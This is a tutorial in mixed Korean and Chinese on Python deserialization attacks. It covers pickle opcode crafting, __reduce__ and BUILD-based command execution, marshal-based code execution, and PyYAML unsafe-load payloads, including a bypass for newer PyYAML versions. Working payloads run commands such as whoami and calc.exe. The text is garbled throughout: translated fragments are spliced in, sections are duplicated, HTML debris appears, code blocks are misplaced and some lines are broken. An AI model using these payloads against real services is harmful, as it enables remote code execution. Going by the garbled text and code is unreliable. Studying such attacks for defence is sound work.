이 기사에서는 역직렬화와 관련된 문제를 주로 소개하는 python에 대한 관련 지식을 제공합니다. 역직렬화: pickle.loads()는 문자열을 객체로 역직렬화하고, pickle.load()는 파일에서 데이터를 읽고 역직렬화합니다. 모두에게 도움이 되십시오.
권장 학습: python 튜토리얼
Python 역직렬화 취약점
Pickle
- 직렬화:
pickle.dumps()
객체를 문자열pickle.dump로 직렬화 ()
객체 직렬화된 문자열을 파일로 저장합니다. - 反序列化:
pickle.loads()
将字符串反序列化为对象、pickle.load()
从文件中读取数据反序列化
pickle.dumps()
将对象序列化为字符串、pickle.dump()
将对象序列化后的字符串存储为文件使用
dumps()
与loads()
时可以使用protocol
参数指定协议版本协议有0,1,2,3,4,5号版本,不同的 python 版本默认的协议版本不同。这些版本中,0号是最可读的,之后的版本为了优化加入了不可打印字符
协议是向下兼容的,0号版本也可以直接使用
可序列化的对象
-
None
、True
和False
- 整数、浮点数、复数
- str、byte、bytearray
- 只包含可封存对象的集合,包括 tuple、list、set 和 dict
- 定义在模块最外层的函数(使用 def 定义,lambda 函数则不可以)
- 定义在模块最外层的内置函数
- 定义在模块最外层的类
-
__dict__
属性值或__getstate__()
函数的返回值可以被序列化的类(详见官方文档的Pickling Class Instances)
反序列化流程
pickle.load()和pickle.loads()方法的底层实现是基于 _Unpickler()方法来反序列化
在反序列化过程中,_Unpickler
(以下称为机器吧)维护了两个东西:栈区和存储区
为了研究它,需要利用一个调试器 pickletools
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wUDq6S9E-1642832623478)(C:UsersAdministratorAppDataRoamingTyporatypora-user-imagesimage-20220121114238511.png)]
从图中可以看出,序列化后的字符串实际上是一串 PVM(Pickle Virtual Machine) 指令码,指令码以栈的形式存储、解析
PVM指令集
完整PVM指令集可以在 pickletools.py
中查看,不同协议版本使用的指令集略有不同
上图中的指令码可以翻译成:
0: \x80 PROTO 3 # 协议版本 2: ] EMPTY_LIST # 将空列表推入栈 3: ( MARK # 将标志推入栈 4: X BINUNICODE 'a' # unicode字符 10: X BINUNICODE 'b' 16: X BINUNICODE 'c' 22: e APPENDS (MARK at 3) # 将3号标准之后的数据推入列表 23: . STOP # 弹出栈中数据,结束 highest protocol among opcodes = 2
指令集中有几个重要的指令码:
- GLOBAL = b’c’ # 将两个以换行为结尾的字符串推入栈,第一个是模块名,第二个是类名,即可以调用全局变量
xxx.xxx
的值 - REDUCE = b’R’ # 将可调用元组和参数元组生成的对象推进栈,即
__reduce()
返回的第一个值作为可执行函数,第二个值为参数,执行函数 - BUILD = b’b’ # 通过
__setstate__
或更新__dict__
完成构建对象,如果对象具有__setstate__
方法,则调用anyobject .__setstate__(参数)
;如果无__setstate__
方法,则通过anyobject.__dict__.update(argument)
更新值(更新可能会产生变量覆盖) - STOP = b’.’ # 结束
一个更复杂的例子:
import pickleimport pickletoolsclass a_class(): def __init__(self): self.age = 24 self.status = 'student' self.list = ['a', 'b', 'c']a_class_new = a_class()a_class_pickle = pickle.dumps(a_class_new,protocol=3)print(a_class_pickle)# 优化一个已经被打包的字符串a_list_pickle = pickletools.optimize(a_class_pickle)print(a_class_pickle)# 反汇编一个已经被打包的字符串pickletools.dis(a_class_pickle)
0: \x80 PROTO 3 2: c GLOBAL '__main__ a_class' 20: ) EMPTY_TUPLE # 将空元组推入栈 21: \x81 NEWOBJ # 表示前面的栈的内容为一个类(__main__ a_class),之后为一个元组(20行推入的元组),调用cls.__new__(cls, *args)(即用元组中的参数创建一个实例,这里元组实际为空) 22: } EMPTY_DICT # 将空字典推入栈 23: ( MARK 24: X BINUNICODE 'age' 32: K BININT1 24 34: X BINUNICODE 'status' 45: X BINUNICODE 'student' 57: X BINUNICODE 'list' 66: ] EMPTY_LIST 67: ( MARK 68: X BINUNICODE 'a' 74: X BINUNICODE 'b' 80: X BINUNICODE 'c' 86: e APPENDS (MARK at 67) 87: u SETITEMS (MARK at 23) # 将将从23行开始传入的值以键值对添加到现有字典中 88: b BUILD # 更新字典完成构建 89: . STOP highest protocol among opcodes = 2
常见的函数执行
与函数执行相关的 PVM 指令集有三个: R
、 i
、 o
,所以我们可以从三个方向进行构造:
R
:
b'''cos system (S'whoami' tR.'''
i
:
b'''(S'whoami' ios system .'''
o
:
b'''(cos system S'whoami' o.'''
__reduce()__命令执行
__recude()__
魔法函数会在反序列化过程结束时自动调用,并返回一个元组。其中,第一个元素是一个可调用对象,在创建该对象的最初版本时调用,第二个元素是可调用对象的参数,使得反序列化时可能造成RCE漏洞
触发
__reduce()_
的指令码为``R,**只要在序列化中的字符串中存在
R指令**,
reduce方法就会被执行,无论正常程序中是否写明了
reduce`方法pickle 在反序列化时会自动 import 未引入的模块,所以 python 标准库中的所有代码执行、命令执行函数都可使用,但生成
payload
Deserialization:pickle.loads()
문자열을 객체로 역직렬화합니다.pickle.load() code> 파일에서 데이터를 읽고 역직렬화<blockquote></blockquote>
dumps()
및loads()
사용>protocol
매개변수는 프로토콜 버전을 지정합니다. 프로토콜에는 버전 0, 1, 2, 3, 4 및 5가 있습니다. Python 버전마다 기본 프로토콜 버전이 다릅니다. 이러한 버전 중에서 숫자 0이 가장 읽기 쉽습니다. 프로토콜은 이전 버전과 호환 가능합니다.
직렬화 가능한 개체🎜없음
, True
및 False
🎜정수, 부동 소수점 숫자, 복소수 li>🎜str , byte, bytearray🎜tuple, list, set 및 dict를 포함하여 보관할 수 있는 객체 컬렉션만 포함합니다.🎜모듈의 가장 바깥쪽 수준에 정의된 함수(def, 람다 함수를 사용하여 정의 아니요) 🎜모듈의 가장 바깥쪽 레이어에 정의된 내장 함수🎜모듈의 가장 바깥쪽 레이어에 정의된 클래스🎜__dict__
속성 값 또는 __getstate__ ()
함수 반환 값을 직렬화할 수 있는 클래스(자세한 내용은 공식 문서의 Pickling Class Instances 참조)
역직렬화 프로세스 h3>🎜pickle.load() 및 pickle.loads() 메서드의 기본 구현은 역직렬화를 위한 _Unpickler() 메서드를 기반으로 합니다🎜🎜역직렬화 프로세스에서 _Unpickler
(이하 Machine이라고 함) Bar)는 스택 영역과 저장 영역이라는 두 가지를 유지합니다🎜🎜이를 연구하려면 디버거 pickletools
를 사용해야 합니다.🎜🎜[외부 링크 이미지 전송에 실패했습니다. 소스 사이트에 오류가 있을 수 있습니다. 리칭 방지 메커니즘이 있으므로 이미지를 저장하고 직접 업로드하는 것이 좋습니다(img-wUDq6S9E-1642832623478) (C:UsersAdministratorAppDataRoamingTyporatypora-user-imagesimage-20220121114238511.png)]🎜🎜그림에서 볼 수 있듯이 직렬화된 문자열은 실제로 PVM(Pickle Virtual Machine) 명령 코드의 문자열이며, 명령 코드는 스택 형식으로 저장되고 구문 분석됩니다🎜PVM 명령 세트
🎜완전한 PVM 명령어 세트는 pickletools.py code>에서 찾을 수 있으며, 다양한 프로토콜 버전에서 사용되는 명령어 세트는 약간 다릅니다.🎜🎜위 그림의 명령어 코드는 다음과 같이 번역될 수 있습니다.🎜<pre class="brush:php;toolbar:false">class a_class():
def __reduce__(self):
return os.system, ('whoami',)# __reduce__()魔法方法的返回值:# os.system, ('whoami',)# 1.满足返回一个元组,元组中至少有两个参数# 2.第一个参数是被调用函数 : os.system()# 3.第二个参数是一个元组:('whoami',),元组中被调用的参数 'whoami' 为被调用函数的参数# 4. 因此序列化时被解析执行的代码是 os.system('whoami')</pre>🎜몇 가지 중요한 명령어가 있습니다 명령 세트의 코드:🎜🎜🎜GLOBAL = b'c' # 줄 바꿈으로 끝나는 두 문자열을 스택에 푸시합니다. 첫 번째는 모듈 이름이고 두 번째는 클래스 이름입니다. 즉, 전역 변수의 값입니다. <code>xxx.xxx
를 호출할 수 있습니다.🎜 REDUCE = b'R' # 호출 가능 튜플과 매개변수 튜플에 의해 생성된 객체를 스택에 푸시합니다. 즉, __reduce() 를 실행 함수로 사용하고, 두 번째 값을 매개변수로 사용하고, 실행 함수🎜BUILD = b'b' # __setstate__
또는 __dict__
를 업데이트하세요. 객체에 __setstate__
메서드가 있으면 anyobject .__setstate__(argument)
를 호출하세요. __setstate__
메서드가 아닙니다. anyobject.__dict__.update(argument)
를 사용하여 값을 업데이트하세요(업데이트 시 변수 재정의가 발생할 수 있음) 🎜STOP = b'.' # End🎜더 복잡한 예: 🎜b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
b'\x80\x03cnt\nsystem\nX\x06\x00\x00\x00whoami\x85R.'
0: \x80 PROTO 3
2: c GLOBAL 'nt system'
13: X BINUNICODE 'whoami'
24: \x85 TUPLE1
25: R REDUCE
26: . STOP
highest protocol among opcodes = 2
# secret.pya = aaaaaa
공통 함수 실행
🎜관련된 세 가지 PVM 명령어 세트가 있습니다. 함수 실행: R
, i
, o
, 따라서 세 방향에서 구성할 수 있습니다: 🎜🎜R
: 🎜# unser.pyimport secretimport pickleclass flag():
def __init__(self, a):
self.a = a
your_payload = b'?'other_flag = pickle.loads(your_payload)secret_flag = flag(secret)if other_flag.a == secret_flag.a:
print('flag:{}'.format(secret_flag.a))else:
print('No!')
🎜i
: 🎜class flag():
def __init__(self, a):
self.a = a
new_flag = pickle.dumps(Flag("A"), protocol=3)flag = pickletools.optimize(new_flag)print(flag)print(pickletools.dis(new_flag))
🎜o
: 🎜b'\x80\x03c__main__\nFlag\n)\x81}X\x01\x00\x00\x00aX\x01\x00\x00\x00Asb.'
0: \x80 PROTO 3
2: c GLOBAL '__main__ Flag'
17: q BINPUT 0
19: ) EMPTY_TUPLE
20: \x81 NEWOBJ
21: q BINPUT 1
23: } EMPTY_DICT
24: q BINPUT 2
26: X BINUNICODE 'a'
32: q BINPUT 3
34: X BINUNICODE 'A'
40: q BINPUT 4
42: s SETITEM
43: b BUILD
44: . STOP
highest protocol among opcodes = 2
__reduce()__ 명령 실행
🎜__recude()__
매직 함수는 역직렬화 프로세스가 끝나면 자동으로 호출되고 튜플을 반환합니다. 그 중 첫 번째 요소는 객체의 초기 버전을 생성할 때 호출되는 호출 가능 객체입니다. 두 번째 요소는 역직렬화 중에 RCE 취약점을 일으킬 수 있는 호출 가능 객체의 매개변수입니다.🎜🎜trigger__reduce()_
의 명령어 코드는 ``R입니다. **직렬화되는 문자열에
R 명령어가 존재하는 한**,
reduce 메소드는
reduce` 메소드가 일반 프로그램에 지정되었는지 여부에 관계없이 실행됩니다. 🎜🎜pickle은자동으로 실행됩니다. deserialization 아직 도입되지 않은 모듈을 가져옵니다. 따라서 Python 표준 라이브러리의 모든 코드 실행 및 명령 실행 기능을 사용할 수 있지만 페이로드
를 생성하는 Python 버전이 대상과 일치해야 합니다. 🎜🎜🎜예: 🎜class a_class():
def __reduce__(self):
return os.system, ('whoami',)# __reduce__()魔法方法的返回值:# os.system, ('whoami',)# 1.满足返回一个元组,元组中至少有两个参数# 2.第一个参数是被调用函数 : os.system()# 3.第二个参数是一个元组:('whoami',),元组中被调用的参数 'whoami' 为被调用函数的参数# 4. 因此序列化时被解析执行的代码是 os.system('whoami')
b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
b'\x80\x03cnt\nsystem\nX\x06\x00\x00\x00whoami\x85R.'
0: \x80 PROTO 3
2: c GLOBAL 'nt system'
13: X BINUNICODE 'whoami'
24: \x85 TUPLE1
25: R REDUCE
26: . STOP
highest protocol among opcodes = 2
将该字符串反序列化后将会执行命令 os.system('whoami')
全局变量覆盖
__reduce()_
利用的是 R 指令码,造成REC,而利用 GLOBAL = b’c’ 指令码则可以触发全局变量覆盖
# secret.pya = aaaaaa
# unser.pyimport secretimport pickleclass flag():
def __init__(self, a):
self.a = a
your_payload = b'?'other_flag = pickle.loads(your_payload)secret_flag = flag(secret)if other_flag.a == secret_flag.a:
print('flag:{}'.format(secret_flag.a))else:
print('No!')
在不知道 secret.a 的情况下要如何获得 flag 呢?
先尝试获得 flag() 的序列化字符串:
class flag():
def __init__(self, a):
self.a = a
new_flag = pickle.dumps(Flag("A"), protocol=3)flag = pickletools.optimize(new_flag)print(flag)print(pickletools.dis(new_flag))
b'\x80\x03c__main__\nFlag\n)\x81}X\x01\x00\x00\x00aX\x01\x00\x00\x00Asb.'
0: \x80 PROTO 3
2: c GLOBAL '__main__ Flag'
17: q BINPUT 0
19: ) EMPTY_TUPLE
20: \x81 NEWOBJ
21: q BINPUT 1
23: } EMPTY_DICT
24: q BINPUT 2
26: X BINUNICODE 'a'
32: q BINPUT 3
34: X BINUNICODE 'A'
40: q BINPUT 4
42: s SETITEM
43: b BUILD
44: . STOP
highest protocol among opcodes = 2
可以看到,在34行进行了传参,将变量 A 传入赋值给了a。若将 A 修改为全局变量 secret.a,即将 X BINUNICODE 'A'
改为 c GLOBAL 'secret a'
(X\x01\x00\x00\x00A
改为 csecret\na\n
)。将该字符串反序列化后,self.a 的值等于 secret.a 的值,成功获取 flag
除了改写 PVM 指令的方式外,还可以使用 exec 函数造成变量覆盖:
test1 = 'test1'test2 = 'test2'class A:
def __reduce(self):
retutn exec, "test1='asd'\ntest2='qwe'"
利用BUILD指令RCE(不使用R指令)
通过BUILD指令与GLOBAL指令的结合,可以把现有类改写为os.system
或其他函数
假设某个类原先没有__setstate__
方法,我们可以利用{'__setstate__': os.system}
来BUILE这个对象
BUILD指令执行时,因为没有__setstate__
方法,所以就执行update,这个对象的__setstate__
方法就改为了我们指定的os.system
接下来利用'whoami'
来再次BUILD这个对象,则会执行setstate('whoami')
,而此时__setstate__
已经被我们设置为os.system
,因此实现了RCE
例:
代码中存在一个任意类:
class payload:
def __init__(self):
pass
根据这个类构造 PVM 指令:
0: \x80 PROTO 3
2: c GLOBAL '__main__ payload'
17: q BINPUT 0
19: ) EMPTY_TUPLE
20: \x81 NEWOBJ
21: } EMPTY_DICT # 使用BUILD,先放入一个字典
22: ( MARK # 放值前先放一个标志
23: V UNICODE '__setstate__' # 放键值对
37: c GLOBAL 'nt system'
48: u SETITEMS (MARK at 22)
49: b BUILD # 第一次BUILD
50: V UNICODE 'whoami' # 加参数
58: b BUILD # 第二次BUILD
59: . STOP
将上述 PVM 指令改写成 bytes 形式:b'\x80\x03c__main__\npayload\n)\x81}(V__setstate__\ncnt\nsystem\nubVwhoami\nb.'
,使用 piclke.loads()
反序列化后成功执行命令
利用Marshal
模块造成任意函数执行
pickle 不能将代码对象序列化,但 python 提供了一个可以序列化代码对象的模块 Marshal
但是序列化的代码对象不再能使用 __reduce()_
调用,因为__reduce__
是利用调用某个可调用对象并传递参数来执行的,而我们这个函数本身就是一个可调用对象 ,我们需要执行它,而不是将他作为某个函数的参数。隐藏需要利用 typres
模块来动态的创建匿名函数
import marshalimport typesdef code():
import os print('hello')
os.system('whoami')code_pickle = base64.b64encode(marshal.dumps(code.__code__)) # python2为 code.func_codetypes.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')() # 利用types动态创建匿名函数并执行
在 pickle
上使用:
import pickle# 将types.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')()改写为 PVM 的形式s = b"""ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'4wAAAAAAAAAAAAAAAAEAAAADAAAAQwAAAHMeAAAAZAFkAGwAfQB0AWQCgwEBAHwAoAJkA6EBAQBkAFMAKQRO6QAAAADaBWhlbGxv2gZ3aG9hbWkpA9oCb3PaBXByaW502gZzeXN0ZW0pAXIEAAAAqQByBwAAAPogRDovUHl0aG9uL1Byb2plY3QvdW5zZXJpYWxpemUucHnaBGNvZGUlAAAAcwYAAAAAAQgBCAE='
tRtRc__builtin__
globals
(tRS''
tR(tR."""pickle.loads(s) # 字符串转换为 bytes
漏洞出现位置
- 解析认证 token、session 时
- 将对象 pickle 后存储在磁盘文件
- 将对象 pickle 后在网络中传输
- 参数传递给程序
PyYAML
yaml
是一种标记类语言,类似与 xml
和 json
,各个支持yaml格式的语言都会有自己的实现来进行 yaml
格式的解析(读取和保存),PyYAML
就是 yaml
的 python 实现
在使用 PyYAML
库时,若使用了 yaml.load()
而不是 yaml.safe_load()
函数解析 yaml
文件,则会导致反序列化漏洞的产生
原理
PyYAML
有针对 python 语言特有的标签解析的处理函数对应列表,其中有三个和对象相关:
!!python/object: => Constructor.construct_python_object!!python/object/apply: => Constructor.construct_python_object_apply!!python/object/new: => Constructor.construct_python_object_new
例如:
# Test.pyimport yamlimport osclass test:
def __init__(self):
os.system('whoami')payload = yaml.dump(test())fp = open('sample.yml', 'w')fp.write(payload)fp.close()
该代码执行后,会生成 sample.yml
,并写入 !!python/object:__main__.test {}
将文件内容改为 !!python/object:Test.test {}
再使用 yaml.load()
解析该 yaml
文件:
import yaml
yaml.load(file('sample.yml', 'w'))

命令成功执行。但是命令的执行依赖于 Test.py
的存在,因为 yaml.load()
时会根据yml文件中的指引去读取 Test.py
中的 test
这个对象(类)。如果删除 Test.py
,也将运行失败
Payload
PyYAML
想要消除依赖执行命令,就需要将其中的类或者函数换成 python 标准库中的类或函数,并使用另外两种 python 标签:
# 该标签可以在 PyYAML 解析再入 YAML 数据时,动态的创建 Python 对象!!python/object/apply: => Constructor.construct_python_object_apply# 该标签会调用 apply!!python/object/new: => Constructor.construct_python_object_new
利用这两个标签,就可以构造任意 payload:
!!python/object/apply:subprocess.check_output [[calc.exe]]!!python/object/apply:subprocess.check_output ["calc.exe"]!!python/object/apply:subprocess.check_output [["calc.exe"]]!!python/object/apply:os.system ["calc.exe"]!!python/object/new:subprocess.check_output [["calc.exe"]]!!python/object/new:os.system ["calc.exe"]
PyYAML
>= 5.1
在版本 PyYAML
>= 5.1 后,限制了反序列化内置类方法以及导入并使用不存在的反序列化代码,并且在使用 load()
方法时,需要加上 loader
参数,直接使用时会爆出安全警告
loader的四种类型:
- BaseLoader:仅加载最基本的YAML
- SafeLoader:安全地加载YAML语言的子集,建议用于加载不受信任的输入(safe_load)
- FullLoader:加载完整的YAML语言,避免任意代码执行,这是当前(PyYAML 5.1)默认加载器调用yaml.load(input) (出警告后)(full_load)
- UnsafeLoader(也称为Loader向后兼容性):原始的Loader代码,可以通过不受信任的数据输入轻松利用(unsafe_load)
在高版本中之前的 payload 已经失效,但可以使用 subporcess.getoutput()
方法绕过检测:
!!python/object/apply:subprocess.getoutput
- whoami

在最新版本上,命令执行成功
ruamel.yaml
ruamel.yaml的用法和PyYAML基本一样,并且默认支持更新的YAML1.2版本
在ruamel.yaml中反序列化带参数的序列化类方法,有以下方法:
- load(data)
- load(data, Loader=Loader)
- load(data, Loader=UnsafeLoader)
- load(data, Loader=FullLoader)
- load_all(data)
- load_all(data, Loader=Loader)
- load_all(data, Loader=UnSafeLoader)
- load_all(data, Loader=FullLoader)
我们可以使用上述任何方法,甚至我们也可以通过提供数据来反序列化来直接调用load(),它将完美地反序列化它,并且我们的类方法将被执行
推荐学习:python学习教程
_Unpickler
(이하 Machine이라고 함) Bar)는 스택 영역과 저장 영역이라는 두 가지를 유지합니다🎜🎜이를 연구하려면 디버거 pickletools
를 사용해야 합니다.🎜🎜[외부 링크 이미지 전송에 실패했습니다. 소스 사이트에 오류가 있을 수 있습니다. 리칭 방지 메커니즘이 있으므로 이미지를 저장하고 직접 업로드하는 것이 좋습니다(img-wUDq6S9E-1642832623478) (C:UsersAdministratorAppDataRoamingTyporatypora-user-imagesimage-20220121114238511.png)]🎜🎜그림에서 볼 수 있듯이 직렬화된 문자열은 실제로 PVM(Pickle Virtual Machine) 명령 코드의 문자열이며, 명령 코드는 스택 형식으로 저장되고 구문 분석됩니다🎜PVM 명령 세트
🎜완전한 PVM 명령어 세트는pickletools.py code>에서 찾을 수 있으며, 다양한 프로토콜 버전에서 사용되는 명령어 세트는 약간 다릅니다.🎜🎜위 그림의 명령어 코드는 다음과 같이 번역될 수 있습니다.🎜<pre class="brush:php;toolbar:false">class a_class():
def __reduce__(self):
return os.system, ('whoami',)# __reduce__()魔法方法的返回值:# os.system, ('whoami',)# 1.满足返回一个元组,元组中至少有两个参数# 2.第一个参数是被调用函数 : os.system()# 3.第二个参数是一个元组:('whoami',),元组中被调用的参数 'whoami' 为被调用函数的参数# 4. 因此序列化时被解析执行的代码是 os.system('whoami')</pre>🎜몇 가지 중요한 명령어가 있습니다 명령 세트의 코드:🎜🎜🎜GLOBAL = b'c' # 줄 바꿈으로 끝나는 두 문자열을 스택에 푸시합니다. 첫 번째는 모듈 이름이고 두 번째는 클래스 이름입니다. 즉, 전역 변수의 값입니다. <code>xxx.xxx
를 호출할 수 있습니다.🎜 REDUCE = b'R' # 호출 가능 튜플과 매개변수 튜플에 의해 생성된 객체를 스택에 푸시합니다. 즉, __reduce() 를 실행 함수로 사용하고, 두 번째 값을 매개변수로 사용하고, 실행 함수🎜BUILD = b'b' # __setstate__
또는 __dict__
를 업데이트하세요. 객체에 __setstate__
메서드가 있으면 anyobject .__setstate__(argument)
를 호출하세요. __setstate__
메서드가 아닙니다. anyobject.__dict__.update(argument)
를 사용하여 값을 업데이트하세요(업데이트 시 변수 재정의가 발생할 수 있음) 🎜STOP = b'.' # End🎜더 복잡한 예: 🎜b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.' b'\x80\x03cnt\nsystem\nX\x06\x00\x00\x00whoami\x85R.' 0: \x80 PROTO 3 2: c GLOBAL 'nt system' 13: X BINUNICODE 'whoami' 24: \x85 TUPLE1 25: R REDUCE 26: . STOP highest protocol among opcodes = 2
# secret.pya = aaaaaa
공통 함수 실행
🎜관련된 세 가지 PVM 명령어 세트가 있습니다. 함수 실행:R
, i
, o
, 따라서 세 방향에서 구성할 수 있습니다: 🎜🎜R
: 🎜# unser.pyimport secretimport pickleclass flag(): def __init__(self, a): self.a = a your_payload = b'?'other_flag = pickle.loads(your_payload)secret_flag = flag(secret)if other_flag.a == secret_flag.a: print('flag:{}'.format(secret_flag.a))else: print('No!')🎜
i
: 🎜class flag(): def __init__(self, a): self.a = a new_flag = pickle.dumps(Flag("A"), protocol=3)flag = pickletools.optimize(new_flag)print(flag)print(pickletools.dis(new_flag))🎜
o
: 🎜b'\x80\x03c__main__\nFlag\n)\x81}X\x01\x00\x00\x00aX\x01\x00\x00\x00Asb.' 0: \x80 PROTO 3 2: c GLOBAL '__main__ Flag' 17: q BINPUT 0 19: ) EMPTY_TUPLE 20: \x81 NEWOBJ 21: q BINPUT 1 23: } EMPTY_DICT 24: q BINPUT 2 26: X BINUNICODE 'a' 32: q BINPUT 3 34: X BINUNICODE 'A' 40: q BINPUT 4 42: s SETITEM 43: b BUILD 44: . STOP highest protocol among opcodes = 2
__reduce()__ 명령 실행
🎜__recude()__
매직 함수는 역직렬화 프로세스가 끝나면 자동으로 호출되고 튜플을 반환합니다. 그 중 첫 번째 요소는 객체의 초기 버전을 생성할 때 호출되는 호출 가능 객체입니다. 두 번째 요소는 역직렬화 중에 RCE 취약점을 일으킬 수 있는 호출 가능 객체의 매개변수입니다.🎜🎜trigger__reduce()_
의 명령어 코드는 ``R입니다. **직렬화되는 문자열에
R 명령어가 존재하는 한**,
reduce 메소드는
reduce` 메소드가 일반 프로그램에 지정되었는지 여부에 관계없이 실행됩니다. 🎜🎜pickle은자동으로 실행됩니다. deserialization 아직 도입되지 않은 모듈을 가져옵니다. 따라서 Python 표준 라이브러리의 모든 코드 실행 및 명령 실행 기능을 사용할 수 있지만 페이로드
를 생성하는 Python 버전이 대상과 일치해야 합니다. 🎜🎜🎜예: 🎜class a_class():
def __reduce__(self):
return os.system, ('whoami',)# __reduce__()魔法方法的返回值:# os.system, ('whoami',)# 1.满足返回一个元组,元组中至少有两个参数# 2.第一个参数是被调用函数 : os.system()# 3.第二个参数是一个元组:('whoami',),元组中被调用的参数 'whoami' 为被调用函数的参数# 4. 因此序列化时被解析执行的代码是 os.system('whoami')
b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
b'\x80\x03cnt\nsystem\nX\x06\x00\x00\x00whoami\x85R.'
0: \x80 PROTO 3
2: c GLOBAL 'nt system'
13: X BINUNICODE 'whoami'
24: \x85 TUPLE1
25: R REDUCE
26: . STOP
highest protocol among opcodes = 2
将该字符串反序列化后将会执行命令 os.system('whoami')
全局变量覆盖
__reduce()_
利用的是 R 指令码,造成REC,而利用 GLOBAL = b’c’ 指令码则可以触发全局变量覆盖
# secret.pya = aaaaaa
# unser.pyimport secretimport pickleclass flag():
def __init__(self, a):
self.a = a
your_payload = b'?'other_flag = pickle.loads(your_payload)secret_flag = flag(secret)if other_flag.a == secret_flag.a:
print('flag:{}'.format(secret_flag.a))else:
print('No!')
在不知道 secret.a 的情况下要如何获得 flag 呢?
先尝试获得 flag() 的序列化字符串:
class flag():
def __init__(self, a):
self.a = a
new_flag = pickle.dumps(Flag("A"), protocol=3)flag = pickletools.optimize(new_flag)print(flag)print(pickletools.dis(new_flag))
b'\x80\x03c__main__\nFlag\n)\x81}X\x01\x00\x00\x00aX\x01\x00\x00\x00Asb.'
0: \x80 PROTO 3
2: c GLOBAL '__main__ Flag'
17: q BINPUT 0
19: ) EMPTY_TUPLE
20: \x81 NEWOBJ
21: q BINPUT 1
23: } EMPTY_DICT
24: q BINPUT 2
26: X BINUNICODE 'a'
32: q BINPUT 3
34: X BINUNICODE 'A'
40: q BINPUT 4
42: s SETITEM
43: b BUILD
44: . STOP
highest protocol among opcodes = 2
可以看到,在34行进行了传参,将变量 A 传入赋值给了a。若将 A 修改为全局变量 secret.a,即将 X BINUNICODE 'A'
改为 c GLOBAL 'secret a'
(X\x01\x00\x00\x00A
改为 csecret\na\n
)。将该字符串反序列化后,self.a 的值等于 secret.a 的值,成功获取 flag
除了改写 PVM 指令的方式外,还可以使用 exec 函数造成变量覆盖:
test1 = 'test1'test2 = 'test2'class A:
def __reduce(self):
retutn exec, "test1='asd'\ntest2='qwe'"
利用BUILD指令RCE(不使用R指令)
通过BUILD指令与GLOBAL指令的结合,可以把现有类改写为os.system
或其他函数
假设某个类原先没有__setstate__
方法,我们可以利用{'__setstate__': os.system}
来BUILE这个对象
BUILD指令执行时,因为没有__setstate__
方法,所以就执行update,这个对象的__setstate__
方法就改为了我们指定的os.system
接下来利用'whoami'
来再次BUILD这个对象,则会执行setstate('whoami')
,而此时__setstate__
已经被我们设置为os.system
,因此实现了RCE
例:
代码中存在一个任意类:
class payload:
def __init__(self):
pass
根据这个类构造 PVM 指令:
0: \x80 PROTO 3
2: c GLOBAL '__main__ payload'
17: q BINPUT 0
19: ) EMPTY_TUPLE
20: \x81 NEWOBJ
21: } EMPTY_DICT # 使用BUILD,先放入一个字典
22: ( MARK # 放值前先放一个标志
23: V UNICODE '__setstate__' # 放键值对
37: c GLOBAL 'nt system'
48: u SETITEMS (MARK at 22)
49: b BUILD # 第一次BUILD
50: V UNICODE 'whoami' # 加参数
58: b BUILD # 第二次BUILD
59: . STOP
将上述 PVM 指令改写成 bytes 形式:b'\x80\x03c__main__\npayload\n)\x81}(V__setstate__\ncnt\nsystem\nubVwhoami\nb.'
,使用 piclke.loads()
反序列化后成功执行命令
利用Marshal
模块造成任意函数执行
pickle 不能将代码对象序列化,但 python 提供了一个可以序列化代码对象的模块 Marshal
但是序列化的代码对象不再能使用 __reduce()_
调用,因为__reduce__
是利用调用某个可调用对象并传递参数来执行的,而我们这个函数本身就是一个可调用对象 ,我们需要执行它,而不是将他作为某个函数的参数。隐藏需要利用 typres
模块来动态的创建匿名函数
import marshalimport typesdef code():
import os print('hello')
os.system('whoami')code_pickle = base64.b64encode(marshal.dumps(code.__code__)) # python2为 code.func_codetypes.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')() # 利用types动态创建匿名函数并执行
在 pickle
上使用:
import pickle# 将types.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')()改写为 PVM 的形式s = b"""ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'4wAAAAAAAAAAAAAAAAEAAAADAAAAQwAAAHMeAAAAZAFkAGwAfQB0AWQCgwEBAHwAoAJkA6EBAQBkAFMAKQRO6QAAAADaBWhlbGxv2gZ3aG9hbWkpA9oCb3PaBXByaW502gZzeXN0ZW0pAXIEAAAAqQByBwAAAPogRDovUHl0aG9uL1Byb2plY3QvdW5zZXJpYWxpemUucHnaBGNvZGUlAAAAcwYAAAAAAQgBCAE='
tRtRc__builtin__
globals
(tRS''
tR(tR."""pickle.loads(s) # 字符串转换为 bytes
漏洞出现位置
- 解析认证 token、session 时
- 将对象 pickle 后存储在磁盘文件
- 将对象 pickle 后在网络中传输
- 参数传递给程序
PyYAML
yaml
是一种标记类语言,类似与 xml
和 json
,各个支持yaml格式的语言都会有自己的实现来进行 yaml
格式的解析(读取和保存),PyYAML
就是 yaml
的 python 实现
在使用 PyYAML
库时,若使用了 yaml.load()
而不是 yaml.safe_load()
函数解析 yaml
文件,则会导致反序列化漏洞的产生
原理
PyYAML
有针对 python 语言特有的标签解析的处理函数对应列表,其中有三个和对象相关:
!!python/object: => Constructor.construct_python_object!!python/object/apply: => Constructor.construct_python_object_apply!!python/object/new: => Constructor.construct_python_object_new
例如:
# Test.pyimport yamlimport osclass test:
def __init__(self):
os.system('whoami')payload = yaml.dump(test())fp = open('sample.yml', 'w')fp.write(payload)fp.close()
该代码执行后,会生成 sample.yml
,并写入 !!python/object:__main__.test {}
将文件内容改为 !!python/object:Test.test {}
再使用 yaml.load()
解析该 yaml
文件:
import yaml
yaml.load(file('sample.yml', 'w'))

命令成功执行。但是命令的执行依赖于 Test.py
的存在,因为 yaml.load()
时会根据yml文件中的指引去读取 Test.py
中的 test
这个对象(类)。如果删除 Test.py
,也将运行失败
Payload
PyYAML
